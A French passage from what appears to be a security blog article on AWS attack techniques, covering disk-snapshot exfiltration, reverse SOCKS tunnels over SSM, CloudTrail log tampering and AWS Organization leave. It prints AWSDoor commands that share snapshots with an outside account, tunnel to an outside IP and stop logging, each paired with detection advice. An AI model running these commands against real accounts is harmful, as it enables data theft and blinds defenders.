<figure id="attachment_27340" aria-describedby="caption-attachment-27340" style="width: 1032px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27340" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-320x191.png" alt="Snapshot partagée" width="1032" height="616" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-320x191.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-65x39.png 65w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-768x459.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word.png 1186w" sizes="auto, (max-width: 1032px) 100vw, 1032px" /><figcaption id="caption-attachment-27340" class="wp-caption-text"><em>Snapshot partagée</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Depuis ce compte AWS externe, <strong>le snapshot peut être monté, copié et inspecté</strong>, donnant à l’attaquant un accès complet aux données du disque sous-jacent sans jamais rien télécharger directement depuis l’environnement cible.</p>
<p style="text-align: justify;">Cette méthode est <strong>particulièrement dangereuse lorsqu’elle est appliquée à une infrastructure sensible</strong>. Par exemple, si un contrôleur de domaine est virtualisé dans AWS, un attaquant peut prendre un snapshot de son volume, <strong>le partager avec son propre compte AWS et en extraire des fichiers sensibles tels que ntds.dit</strong>.</p>
<p> </p>
<figure id="attachment_27342" aria-describedby="caption-attachment-27342" style="width: 1369px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27342" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-244x191.png" alt="Extraction de la NTDS.DIT en utilisant les Snapshot AWS" width="1369" height="1072" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-244x191.png 244w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-768x602.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word.png 1018w" sizes="auto, (max-width: 1369px) 100vw, 1369px" /><figcaption id="caption-attachment-27342" class="wp-caption-text"><em>Extraction de la NTDS.DIT en utilisant les Snapshot AWS</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Tout cela <strong>peut se produire sans qu’il soit nécessaire d’interagir avec l’instance via le réseau</strong>, en contournant ainsi tous les outils de sécurité déployés sur le réseau interne.</p>
<p style="text-align: justify;">Il s’agit d’une technique d’exfiltration de données à faible bruit mais à fort impact, qui détourne des fonctionnalités natives d’AWS et passe inaperçue si des contrôles spécifiques ne sont pas en place.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p style="text-align: justify;">Ces <strong>deux techniques sont implémentées dans AWSDoor</strong>. Les commandes suivantes peuvent être utilisées pour exporter une instance EC2 spécifique :</p>
<p> </p>
<pre>python .\main.py -m EC2DiskExfiltration -i i-0021dfcf18a891b07 -a 503561426720   <br /> <br />[-] The following volumes will be snapshoted and shared with 503561426720:                                       <br />        - vol-09ce1bf602374a743<br />[+] Do you want to apply this change? (yes/no): yes<br />[-] Created snapshot snap-006e79ceddf11a103 for volume vol-09ce1bf602374a743<br />[+] Shared snapshot snap-006e79ceddf11a103 with account 503561426720<br /><br /></pre>
<p>De la même manière, l’action SSH SOCKS peut être automatisée :</p>
<pre>python .\main.py -m EC2Socks -name i-0021dfcf18a891b07 -key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILm9CIAw/X84wK1F5yfHJ+Z80S8iJjPNRuOIZlo7lMbg" -remotekey ..\..\Downloads\EC2.pem -user ec2-user -socksport 4444 -sshuser admin -sshhost 13.38.79.236 --method systemd<br /><br />[+] Command sent with ID: abdaf34e-7750-47b5-88c5-05d3fc1e67da<br />[-] Waiting 10 seconds for execution<br />[+] Status: Success</pre>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Détection</span></h5>
<p style="text-align: justify;">Pour la partie snapshot, <strong>CloudTrail enregistre plusieurs événements </strong>:</p>
<ul>
<li style="text-align: justify;"><strong>CreateSnapshot </strong>: enregistré lorsqu’un snapshot est créé. Il s’agit d’une opération courante dans la plupart des environnements disposant de politiques de sauvegarde, donc pas intrinsèquement suspecte. Cependant, il est facile pour des attaquants de se fondre dans le bruit en imitant l’activité de sauvegarde standard.</li>
<li style="text-align: justify;"><strong>ModifySnapshotAttribute </strong>: enregistré lorsque le snapshot est partagé. Bien que la modification d’un attribut de snapshot ne soit pas inhabituelle, une simple analyse du contenu montre que le snapshot a été partagé avec un compte distant :</li>
</ul>
<p> </p>
<figure id="attachment_27344" aria-describedby="caption-attachment-27344" style="width: 1369px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27344" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-186x191.png" alt="Evènement créé lors du partage d’une snapshot" width="1369" height="1406" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-186x191.png 186w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-38x39.png 38w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-768x790.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word.png 927w" sizes="auto, (max-width: 1369px) 100vw, 1369px" /><figcaption id="caption-attachment-27344" class="wp-caption-text"><em>Evènement créé lors du partage d’une snapshot</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Il est donc possible de limiter ce type d’exploitation en surveillant l’événement ModifySnapshotAttribute et en s’assurant que la valeur de userId se situe dans la plage des comptes liés à l’organisation.</p>
<p style="text-align: justify;">De même, une méthode relevant de la « sécurité par l’obscurité » consisterait à ajouter des balises spécifiques lorsque des snapshots sont effectués à des fins de sauvegarde, <strong>puis à déclencher une alerte lorsqu’un snapshot est créé sans la balise appropriée</strong>. La balise pourrait, par exemple, être un hachage de l’heure de création, dérivé d’un secret connu uniquement de l’outil de sauvegarde.</p>
<p> </p>
<pre>BackupTag=HMAC(creation_time, secret)</pre>
<p> </p>
<p style="text-align: justify;">Pour l’exploitation en reverse SOCKS, <strong>cela dépend de la manière dont l’accès SSM est effectué :</strong></p>
<ul>
<li style="text-align: justify;"><strong>Depuis la console AWS (GUI) </strong>: un événement StartSession est enregistré dans CloudTrail lorsque l’attaquant démarre la connexion distante vers la machine. Le journal contient l’adresse IP de l’attaquant ainsi que l’identifiant EC2 ciblé.</li>
</ul>
<p> </p>
<figure id="attachment_27346" aria-describedby="caption-attachment-27346" style="width: 437px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-medium wp-image-27346" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-437x145.png" alt="Événement déclenché lors d’une connexion SSM" width="437" height="145" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-437x145.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-71x23.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-768x254.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word.png 1291w" sizes="auto, (max-width: 437px) 100vw, 437px" /><figcaption id="caption-attachment-27346" class="wp-caption-text"><em>Événement déclenché lors d’une connexion SSM</em></figcaption></figure>
<p> </p>
<ul>
<li style="text-align: justify;"><strong>Depuis l’AWS CLI ou AWSDoor </strong>: l’événement StartSession n’est pas généré, mais c’est GetCommandInvocation qui est enregistré à la place.</li>
</ul>
<p> </p>
<figure id="attachment_27348" aria-describedby="caption-attachment-27348" style="width: 960px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27348" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-437x168.png" alt="Événement déclenché lors de l’invocation d’une commande SSM" width="960" height="369" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-437x168.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-768x295.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word.png 1264w" sizes="auto, (max-width: 960px) 100vw, 960px" /><figcaption id="caption-attachment-27348" class="wp-caption-text"><em>Événement déclenché lors de l’invocation d’une commande SSM</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Cependant, quelle que soit la technique utilisée, CloudTrail ne journalise pas la ligne de commande complète envoyée. Il reste donc pertinent et important d’ajouter une solution EDR directement sur les ressources.</p>
<p> </p>
<h2>Altération des défenses</h2>
<p style="text-align: justify;">L’altération des défenses désigne <strong>toute action délibérée entreprise par un attaquant pour affaiblir, désactiver ou contourner les capacités de surveillance et de détection</strong> d’un environnement cible. Dans AWS, cela implique généralement de manipuler les configurations de journalisation, de désactiver des services de sécurité ou de modifier les mécanismes d’alerte afin d’éviter la détection pendant ou après une attaque.</p>
<p style="text-align: justify;"><strong>AWS fournit plusieurs services intégrés conçus pour surveiller l’activité</strong>, appliquer la conformité et alerter en cas de comportement suspect. Ces services incluen <strong>: </strong><strong>CloudTrail pour la journalisation des appels API, CloudWatch Logs et CloudWatch Alarms pour la surveillance et l’alerte en temps réel</strong>, GuardDuty pour la détection des menaces, Security Hub pour la centralisation des constats de sécurité et Config pour le suivi de la configuration des ressources. Les <strong>environnements plus avancés peuvent également s’appuyer sur des SIEM tiers ou des plateformes CSPM</strong> intégrées à leurs comptes AWS.</p>
<p style="text-align: justify;">La désactivation ou la modification de <strong>l’un de ces services peut réduire considérablement la visibilité dont disposent les défenseurs</strong> sur les activités malveillantes, faisant de l’altération des défenses une tactique essentielle dans de nombreuses attaques menées dans le cloud.</p>
<p> </p>
<h3>CloudTrail et CloudWatch</h3>
<h4>Introduction à la journalisation AWS</h4>
<p style="text-align: justify;"><strong>Dans les environnements AWS, CloudTrail et CloudWatch sont deux services essentiels de journalisation et de surveillance qui jouent des rôles complémentaires</strong>, mais avec des finalités très différentes. CloudTrail est conçu pour enregistrer toute l’activité API qui se produit dans un compte AWS. Il consigne chaque appel effectué via la console de gestion AWS, l’AWS CLI, les SDK ou autres services AWS. Ainsi, lorsqu’une personne crée une instance EC2, modifie un groupe de sécurité ou supprime une ressource, CloudTrail capture qui a effectué l’action, quand, où et quoi. <strong>Ces journaux sont indispensables pour l’audit, les enquêtes forensiques et le suivi des modifications apportées à l’infrastructure.</strong></p>
<p style="text-align: justify;">CloudWatch, quant à lui, <strong>se concentre sur la surveillance opérationnelle</strong>. Il collecte et stocke les journaux provenant des services et applications, suit des métriques comme l’utilisation CPU ou la consommation mémoire, et prend en charge les alarmes et tableaux de bord <strong>pour une visibilité en temps réel</strong>. Lorsqu’une application écrit des journaux ou que la surveillance des performances système est nécessaire, c’est CloudWatch qui est utilisé. Il peut également être configuré pour recevoir et <strong>stocker les journaux provenant de fonctions Lambda, d’instances EC2 ou d’applications personnalisées</strong>.</p>
<p style="text-align: justify;">La journalisation réseau est également proposée par AWS via les services VPC Flow Logs ou VPC Mirroring. Bien qu’ils puissent être utilisés à des fins de sécurité, leur utilité principale est davantage orientée vers la surveillance opérationnelle. Cet article se concentrera sur le service CloudTrail.</p>
<p style="text-align: justify;">CloudTrail est activé par défaut et conserve les événements pendant 90 jours. Ce service constitue une base de journalisation qui ne peut pas être restreinte ou désactivée. Cependant, des capacités de journalisation supplémentaires peuvent être activées en définissant des trails dans CloudTrail.</p>
<p style="text-align: justify;">CloudTrail conserve les journaux et garantit leur intégrité pendant 90 jours, après quoi les journaux sont supprimés de l’Event History. Si une organisation souhaite assurer une durée de conservation plus longue ou mettre en place une surveillance en temps réel spécifique à partir de ces journaux, elle doit configurer un trail. Cette configuration duplique les journaux et les transfère vers un bucket S3, sur lequel peuvent être branchés des outils de sécurité supplémentaires.</p>
<p style="text-align: justify;">En tant qu’administrateur Cloud, il est possible de créer un « Organization Trail » qui se réplique dans tous les comptes cibles de l’organisation. Une fois mis en place, il n’est pas possible pour un compte ciblé de supprimer ou de désactiver ce trail.</p>
<p> </p>
<h4>Arrêt de la journalisation</h4>
<h5><span style="text-decoration: underline;">Attaque</span></h5>
<p style="text-align: justify;">S’il n’est <strong>pas facilement possible d’altérer les capacités de journalisation de CloudWatch</strong>, il est en revanche possible d’affecter celles de CloudTrail en désactivant simplement la fonction de journalisation.</p>
<p style="text-align: justify;">Cette fonctionnalité <strong>permet d’interrompre l’enregistrement des événements par un trail sans pour autant le supprimer :</strong></p>
<p> </p>
<figure id="attachment_27350" aria-describedby="caption-attachment-27350" style="width: 971px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27350" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-437x148.png" alt="Trail avec capacités de journalisation arrêtées" width="971" height="329" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-437x148.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-71x24.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-768x260.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word.png 1349w" sizes="auto, (max-width: 971px) 100vw, 971px" /><figcaption id="caption-attachment-27350" class="wp-caption-text"><em>Trail avec capacités de journalisation arrêtées</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Bien que cette technique soit efficace pour altérer certaines capacités spécifiques de journalisation, elle présente plusieurs inconvénients majeurs :</p>
<ul>
<li style="text-align: justify;">Effet limité : même si un trail spécifique est impacté, les Organization Trails ne peuvent pas être contournés de cette manière. De plus, l’Event History, avec sa période de rétention inaltérable de 90 jours, restera toujours disponible.</li>
<li style="text-align: justify;">Action bruyante : même si la commande d’arrêt n’est pas détectée, la plupart des solutions SIEM déclenchent des alertes lorsque le flux de journaux s’interrompt.</li>
</ul>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>Cette technique est implémentée dans AWSDoor:</p>
<p> </p>
<pre>python .\main.py --m CloudTrailStop -s<br />[+] Trail logging stopped on 'management-events'</pre>
<p> </p>
<p style="text-align: justify;">La limitation réside dans le fait que cela ne désactivera que les <em>trails</em> définis dans le compte actuel et ne supprimera pas ceux définis au niveau de l’organisation.</p>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">Du côté du défenseur, cette technique peut être facilement détectée en consultant l’interface graphique. De plus, CloudTrail enregistre également l’événement StopLogging, indiquant qu’un trail a été altéré.</p>
<p> </p>
<h4>Sélecteur d’évènement</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">Dans AWS CloudTrail, <strong>les sélecteurs d’événements permettent un contrôle précis sur les types d’événements qu’un trail enregistre</strong>. Ces sélecteurs peuvent être configurés pour consigner les événements de gestion, les événements de données, ou les deux. Les événements de gestion enregistrent les opérations qui administrent les ressources AWS, comme le lancement d’une instance EC2 ou la modification de rôles IAM. Il s’agit généralement d’appels API de haut niveau effectués via la console, le SDK ou l’AWS CLI, et ils sont essentiels pour l’audit des actions administratives.</p>
<p style="text-align: justify;">Par défaut, <strong>les trails enregistrent les événements de gestion, mais il est possible de modifier les sélecteurs d’événements pour les exclure</strong> partiellement ou totalement. Cette flexibilité peut être utile pour réduire le bruit ou les coûts dans des environnements fortement automatisés, mais elle introduit également un risque. Un attaquant disposant des autorisations adéquates pourrait manipuler les sélecteurs d’événements d’un trail afin <strong>de supprimer certains types de journaux, par exemple en désactivant l’enregistrement des événements de gestion</strong>, ce qui réduirait la visibilité sur les changements effectués pendant ou après une compromission.</p>
<p style="text-align: justify;">Ainsi, en modifiant les sélecteurs d’événements, <strong>il est possible de dégrader les capacités de journalisation de CloudTrail</strong>, rendant plus difficile pour les défenseurs la détection d’activités non autorisées ou l’investigation d’incidents.</p>
<p style="text-align: justify;">L’événement de gestion peut être simplement désactivé. Pour l’événement de données, afin d’éviter d’avoir un champ vide dans l’interface graphique, il est possible de forcer la configuration du sélecteur d’événements à n’enregistrer que des événements liés à une ressource inexistante :</p>
<p> </p>
<figure id="attachment_27358" aria-describedby="caption-attachment-27358" style="width: 1073px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27358" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-381x191.png" alt="Journalisation d’événement provenant d’une ressource inexistante " width="1073" height="538" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-381x191.png 381w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-768x385.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-800x400.png 800w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word.png 1184w" sizes="auto, (max-width: 1073px) 100vw, 1073px" /><figcaption id="caption-attachment-27358" class="wp-caption-text"><em>Journalisation d’événement provenant d’une ressource inexistante</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>AWSDoor peut être utilisé <strong>pour reconfigurer le sélecteur d’événements</strong> afin d’empêcher la journalisation des événements de données et de gestion :</p>
<p> </p>
<pre>python .\main.py --m CloudTrailStop<br />[+] Adding event selector on management-events<br />[+] Management events disabled on trail 'management-events'</pre>
<p> </p>
<p>Une fois le script exécuté, <strong>le sélecteur d’événements est configuré. Le trail apparaît toujours comme actif:</strong></p>
<p> </p>
<figure id="attachment_27354" aria-describedby="caption-attachment-27354" style="width: 1369px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27354" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-437x136.png" alt="Le Trail est toujours considéré comme actif" width="1369" height="426" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-437x136.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-71x22.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-768x238.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word.png 1192w" sizes="auto, (max-width: 1369px) 100vw, 1369px" /><figcaption id="caption-attachment-27354" class="wp-caption-text"><em>Le Trail est toujours considéré comme actif</em></figcaption></figure>
<p> </p>
<p>Cependant, <strong>le sélecteur d’événements empêche toute journalisation</strong> ultérieure :</p>
<p> </p>
<figure id="attachment_27356" aria-describedby="caption-attachment-27356" style="width: 1205px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27356" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-1-280x191.png" alt="Sélecteur d’événements empêchant la journalisation" width="1205" height="822" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-1-280x191.png 280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-1-57x39.png 57w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-1-768x525.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-1.png 1247w" sizes="auto, (max-width: 1205px) 100vw, 1205px" /><figcaption id="caption-attachment-27356" class="wp-caption-text"><em>Sélecteur d’événements empêchant la journalisation</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">La création du sélecteur d’événements peut être détectée grâce à l’événement PutEventSelector enregistré dans CloudTrail :</p>
<p> </p>
<figure id="attachment_27360" aria-describedby="caption-attachment-27360" style="width: 693px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27360" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-159x191.png" alt="Événement enregistré par CloudTrail" width="693" height="832" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-159x191.png 159w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-33x39.png 33w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-768x922.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word.png 880w" sizes="auto, (max-width: 693px) 100vw, 693px" /><figcaption id="caption-attachment-27360" class="wp-caption-text"><em>Événement enregistré par CloudTrail</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">De même, l’analyse de la collecte des journaux et de leur volumétrie constituerait un indicateur de compromission intéressant. Si le flux de journaux s’interrompt, il est probable qu’il s’agisse d’une attaque.</p>
<p> </p>
<h2>Destruction</h2>
<p style="text-align: justify;">Les attaques ciblant la destruction de données visent à <strong>provoquer d’importants dommages opérationnels en effaçant ou en corrompant de manière permanente des informations et des infrastructures critiques</strong>. Contrairement à l’exfiltration de données ou à l’élévation de privilèges, ces attaques ne cherchent pas à extraire de la valeur ou à maintenir un accès, mais plutôt à perturber la continuité des activités, nuire à la réputation ou saboter les systèmes de façon irréversible.</p>
<p style="text-align: justify;">Dans les environnements cloud comme AWS, <strong>les attaques destructrices peuvent toucher tous types de ressources</strong>, comme par exemple : les ressources de stockage, les ressources de calcul ou les composants de configuration tels que les rôles IAM et les fonctions Lambda :</p>
<ul style="text-align: justify;">
<li><strong>La suppression de buckets S3</strong> peut entraîner la perte de sauvegardes, de données clients ou d’informations réglementaires / techniques (journalisation).</li>
<li><strong>L’effacement de volumes EBS ou de snapshots RDS</strong> peut provoquer la perte totale de l’état d’une application ou de bases de données critiques.</li>
<li><strong>Le formatage du compte AWS</strong> (en supprimant tous les services possibles) peut causer une interruption de service très longue, même si les données sont sauvegardées en externe, en particulier si l’infrastructure n’est pas déployée via IaC ou si l’IaC est également détruit.</li>
</ul>
<p style="text-align: justify;"> </p>
<h3>AWS Organization Leave</h3>
<h4>Organization Leave</h4>
<p style="text-align: justify;">AWS <strong>Organizations est un service qui permet de gérer et de gouverner de manière centralisée plusieurs comptes AWS</strong> à partir d’un point unique. Au sommet de la hiérarchie se trouve le service Organization, comprenant un compte de gestion (appelé compte payeur / maître / compte de gestion) et un ou plusieurs comptes membres. Ces comptes peuvent être regroupés en unités organisationnelles, ce qui facilite l’application de politiques ou la gestion des sauvegardes à grande échelle.</p>
<p style="text-align: justify;">Chaque compte AWS <strong>au sein d’une organisation reste isolé en termes de ressources et d’identité</strong>, mais l’organisation peut appliquer des politiques telles que les Service Control Policies (SCP) à l’ensemble des comptes, imposant ainsi des restrictions spécifiques à tous les comptes, de la même manière qu’un GPO le fait dans un domaine Windows. <strong>Cette structure est particulièrement utile pour séparer les données et les charges de travail</strong> par équipe, environnement ou unité métier, tout en maintenant une gouvernance centralisée.</p>
<p style="text-align: justify;">AWS permet également d’inviter ou de rattacher un compte autonome existant à une organisation. Ce processus peut être initié depuis le compte de gestion et nécessite que le compte invité accepte la demande. De même, des comptes peuvent être détachés et déplacés vers une autre organisation, bien que cette action soit soumise à certaines restrictions. Par exemple, certains services ou fonctionnalités AWS peuvent se comporter différemment lorsqu’un compte fait partie d’une organisation, notamment en matière de facturation consolidée et d’application des politiques. Cette fonctionnalité peut être utile lors de fusions, de restructurations ou pour la gestion du cycle de vie des comptes, mais elle ouvre également un vecteur d’attaque potentiel si elle n’est pas étroitement surveillée.</p>
<p> </p>
<figure id="attachment_27362" aria-describedby="caption-attachment-27362" style="width: 935px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27362" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-330x191.png" alt="Exemple d’Organisation AWS " width="935" height="541" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-330x191.png 330w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-768x444.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word.png 1223w" sizes="auto, (max-width: 935px) 100vw, 935px" /><figcaption id="caption-attachment-27362" class="wp-caption-text"><em>Exemple d’Organisation AWS</em></figcaption></figure>
<p> </p>
<h4 style="text-align: justify;">Suppression de données</h4>
<p style="text-align: justify;">La suppression de <strong>toutes les données d’un compte AWS n’est que rarement instantanée</strong>. Si certaines ressources comme les rôles IAM ou les groupes de sécurité peuvent être supprimées rapidement, d’autres, comme de grands buckets S3, des snapshots EBS ou des instances RDS, nécessitent plus de temps en raison de leur taille ou de la nature de l’infrastructure sous-jacente.</p>
<p style="text-align: justify;">Pour contourner cette limitation, un attaquant ayant compromis le compte de gestion (pour impacter l’ensemble des comptes) ou simplement un compte spécifique peut <strong>exploiter AWS Organizations en détachant le compte ciblé et en le déplaçant vers une organisation qu’il contrôle</strong>. Cette opération s’effectue via la fonctionnalité Leave Organization (Quitter l’organisation).</p>
<p style="text-align: justify;">Contrairement à la suppression de données, <strong>quitter une organisation est une action immédiate</strong>. Une fois le compte sorti de l’organisation AWS de l’entreprise, il est trop tard : l’action ne peut pas être annulée. Sans droits AdminAccess sur le compte autonome, il ne sera pas possible de le rattacher facilement à l’organisation, offrant ainsi à l’attaquant une large fenêtre pour supprimer méthodiquement toutes les ressources qui y sont attachées.</p>
<h3> </h3>
<h4>Exfiltration de données avant suppression</h4>
<p style="text-align: justify;">Bien que la commande LeaveOrganization soit une opération destructrice, elle peut également être utilisée pour exfiltrer des données avant leur suppression. Au lieu d’effacer toutes les ressources d’un compte AWS compromis, un attaquant peut choisir de détacher le compte de l’organisation, de conserver toute l’infrastructure intacte et d’exfiltrer lentement des données sensibles.</p>
<p style="text-align: justify;">Par exemple, une entreprise <strong>héberge une application eShop sur AWS</strong>. L’attaquant, ayant compromis le compte AWS, utilise l’action LeaveOrganization pour reprendre le contrôle de la ressource eShop. Cette action retire le compte du contrôle centralisé, supprimant ainsi toute Service Control Policy, toute journalisation centralisée et tout mécanisme de gouvernance précédemment appliqué par l’organisation, sans pour autant impacter sa disponibilité.</p>
<p style="text-align: justify;">Avec le <strong>contrôle total de ce compte désormais autonome, l’attaquant peut agir sans supervision</strong>. L’eShop continue de fonctionner normalement, servant les clients et traitant les commandes, mais en arrière-plan, l’attaquant dispose d’un accès illimité à toutes les ressources associées. Il peut lire les buckets S3, interroger la base de données clients, extraire des données de paiement et exfiltrer discrètement les informations bancaires ainsi que les données personnelles de chaque utilisateur, sans interrompre le service ni déclencher d’alertes opérationnelles.</p>
